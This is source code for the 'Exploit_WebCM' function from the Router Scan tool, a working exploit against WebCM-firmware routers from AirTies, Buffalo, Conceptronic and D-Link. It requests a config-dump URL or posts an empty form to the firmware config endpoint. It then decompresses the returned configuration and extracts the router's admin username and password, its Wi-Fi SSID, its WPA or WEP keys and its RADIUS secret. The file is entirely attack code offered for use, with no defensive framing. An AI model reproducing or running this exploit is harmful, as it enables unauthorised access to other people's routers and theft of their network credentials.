// Router Scan exploit
// Copyright (C) Stas'M Corp. 2014

// Project home page:
// http://stascorp.com/load/1-1-0-56

// References:
// http://xakep.ru/53057/
// http://www.kapple.de/?p=75

function TRouter.Exploit_WebCM(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
  MS, MS2, MSO: TMemoryStream;
  GotHeader: Boolean;
  A: AnsiString;

  procedure ProcessSettings;
  var
    Version, Tmp2: String;
  begin
    Version := DeleteBetween(A, 'version="', '"');
    TrimString(Version);

    if (Pos('AirTies', A)>0)
    or (Pos('airties', A)>0) then
      Firmware := 'AirTies';
    if (Pos('Buffalo', A)>0)
    or (Pos('buffalo', A)>0) then
      Firmware := 'Buffalo';
    if (Pos('Conceptronic', A)>0)
    or (Pos('conceptronic', A)>0) then
      Firmware := 'Conceptronic';
    if (Pos('DLink', A)>0)
    or (Pos('dlink', A)>0) then
      Firmware := 'D-Link';

    Tmp := DeleteBetween(DeleteBetween(A, '<system>', '</system>'), '<sysname>', '</sysname>');
    TrimString(Tmp);
    if Firmware <> '' then begin
      if Tmp <> '' then
        Typ := Firmware + ' ' + Tmp
      else
        if UseAuth and (Hardware <> '') then
          Typ := Firmware + ' ' + Hardware;
      if Version <> '' then
        Typ := 'WebCM Firmware ('+Typ+' | ' + Version + ')'
      else
        Typ := 'WebCM Firmware ('+Typ+')';
    end else begin
      if Tmp <> '' then
        Typ := 'WebCM Firmware (' + Tmp
      else
        if UseAuth and (Hardware <> '') then
          Typ := 'WebCM Firmware (' + Hardware;
      if Version <> '' then
        Typ := Typ + ' | ' + Version + ')'
      else
        Typ := Typ + ')';
    end;
    SetTableCell(stcType, Typ);

    if Pos('<security>', A)>0 then begin
      Tmp := DeleteBetween(A, '<security>', '</security>');
      AuthUser := DeleteBetween(Tmp, '<username>', '</username>');
      AuthPass := DeleteBetween(Tmp, '<password>', '</password>');
      Result := True;
    end;

    LAN := DeleteBetween(DeleteBetween(A, '<selector><id>lan0</id>', '</selector>'), '<ip>', '</ip>');
    SetTableCell(stcLANIP, LAN);
    LAN := DeleteBetween(DeleteBetween(A, '<selector><id>lan0</id>', '</selector>'), '<netmask>', '</netmask>');
    SetTableCell(stcLANMask, LAN);
    if Pos('<id>ap</id>', A)>0 then begin
      Tmp := DeleteBetween(DeleteBetween(A, '<id>ap</id>', ''), '<settings>', '</settings>');
      if Pos('<ssid0>', Tmp)>0 then
        Tmp := DeleteBetween(Tmp, '<ssid0>', '</ssid0>');

      if (DeleteBetween(A, '<ap_enabled>', '</ap_enabled>') = '0')
      or (DeleteBetween(Tmp, '<active>', '</active>') = '0') then
        SetTableCell(stcRadioOff, stcCheckX);
      if DeleteBetween(Tmp, '<ssid_type>', '</ssid_type>') = '0' then
        SetTableCell(stcHidden, stcCheckX);

      SSID := DeleteBetween(Tmp, '<ssid>', '</ssid>');
      SetTableCell(stcSSID, SSID);

      Tmp2 := DeleteBetween(Tmp, '<privacy_type>', '</privacy_type>');
      if Tmp2 = '0' then begin
        Sec := 'None';
        Pasw := '<empty>';
      end;
      if (Tmp2 = '1')
      or (Tmp2 = '3') then
        Sec := 'WPA';
      if Tmp2 = '2' then
        Sec := 'WEP';
      if Tmp2 = '4' then
        Sec := '802.1X';
      if Tmp2 = '8' then
        Sec := 'WPA2';
      if Tmp2 = '9' then
        Sec := 'WPA/WPA2';
      if (Sec = 'WPA')
      or (Sec = 'WPA2')
      or (Sec = 'WPA/WPA2')
      then
        if DeleteBetween(Tmp, '<psktype>', '</psktype>') = '0' then
          Sec := Sec + ' Enterprise';
      if Sec = '802.1X' then
        if DeleteBetween(Tmp, '<wep_privacy>', '</wep_privacy>') = '1' then
          Sec := Sec + '/WEP';
      if Pos('WEP', Sec)>0 then
        if DeleteBetween(Tmp, '<wep_auth_type>', '</wep_auth_type>') = '1' then
          Sec := Sec + ' Shared';
      if (Sec = 'WEP')
      or (Sec = 'WEP Shared')
      then begin
        Tmp2 := DeleteBetween(Tmp, '<key_id>', '</key_id>');
        if Tmp2 = '0' then
          Pasw := DeleteBetween(Tmp, '<key_value1>', '</key_value1>');
        if Tmp2 = '1' then
          Pasw := DeleteBetween(Tmp, '<key_value2>', '</key_value2>');
        if Tmp2 = '2' then
          Pasw := DeleteBetween(Tmp, '<key_value3>', '</key_value3>');
        if Tmp2 = '3' then
          Pasw := DeleteBetween(Tmp, '<key_value4>', '</key_value4>');
        WEPHexToAnsi(Pasw);
        if Sec = 'WEP' then
          Sec := WEPBits(Pasw)
        else
          Sec := WEPBits(Pasw, True);
      end;
      if (Sec = 'WPA')
      or (Sec = 'WPA2')
      or (Sec = 'WPA/WPA2')
      then
        Pasw := DeleteBetween(Tmp, '<pskvalue>', '</pskvalue>');
      if (Sec = 'WPA Enterprise')
      or (Sec = 'WPA2 Enterprise')
      or (Sec = 'WPA/WPA2 Enterprise')
      or (Pos('802.1X', Sec)=1)
      then
        Pasw := 'Radius server: ' +
        DeleteBetween(Tmp, '<radius_ip>', '</radius_ip>')+
        ':' +
        DeleteBetween(Tmp, '<radius_port>', '</radius_port>')+
        ', password: ' +
        DeleteBetween(Tmp, '<radius_secret>', '</radius_secret>');
      SetTableCell(stcSec, Sec);
      SetTableCell(stcKey, Pasw);
    end else begin
      SetTableNoWireless;
      ReadonlyBSSID := True;
    end;
  end;
begin
  // Affected:
  //
  Result := False;
  GotHeader := False;
  MS := TMemoryStream.Create;
  if GetHTTPStream('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/cgi-bin/webcm?getpage=/dev/ticfg',
  MS, Code, 8, 0, ServerName, UseAuth, AuthUser, AuthPass) then begin
    StreamToAnsi(MS, A);
    if Pos('LMMC', A)>0 then begin
      GotHeader := True;
      MS.Seek(0, soFromBeginning);
      MS.SetSize(Length(A) - (Pos('LMMC', A) + $14 - 1));
      Move(A[Pos('LMMC', A) + $14], MS.Memory^, MS.Size);
      MSO := TMemoryStream.Create;
      if Deflate(MS, MSO) then begin
        SetLength(A, MSO.Size);
        Move(MSO.Memory^, A[1], Length(A));
        ProcessSettings;
      end;
      MSO.Free;
    end;
  end;
  MS.Free;
  if not GotHeader then begin
    MS := TMemoryStream.Create;
    A := '------Boundary'#13#10+
    'Content-Disposition: form-data; name="config"'#13#10#13#10#13#10+
    '------Boundary--'#13#10;
    AnsiToStream(A, MS);
    MS2 := TMemoryStream.Create;
    if PostHTTPStreamEx('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/cgi-bin/firmwarecfg',
    MS, 'multipart/form-data; boundary=----Boundary', MS2, Code, 8, 0, ServerName, UseAuth, AuthUser, AuthPass) then begin
      StreamToAnsi(MS2, A);
      if Pos('LMMC', A)>0 then begin
        //GotHeader := True;
        MS.Seek(0, soFromBeginning);
        MS.SetSize(Length(A) - (Pos('LMMC', A) + $14 - 1));
        Move(A[Pos('LMMC', A) + $14], MS.Memory^, MS.Size);
        MSO := TMemoryStream.Create;
        if Deflate(MS, MSO) then begin
          SetLength(A, MSO.Size);
          Move(MSO.Memory^, A[1], Length(A));
          ProcessSettings;
        end;
        MSO.Free;
      end;
    end;
    MS2.Free;
    MS.Free;
  end;
end;
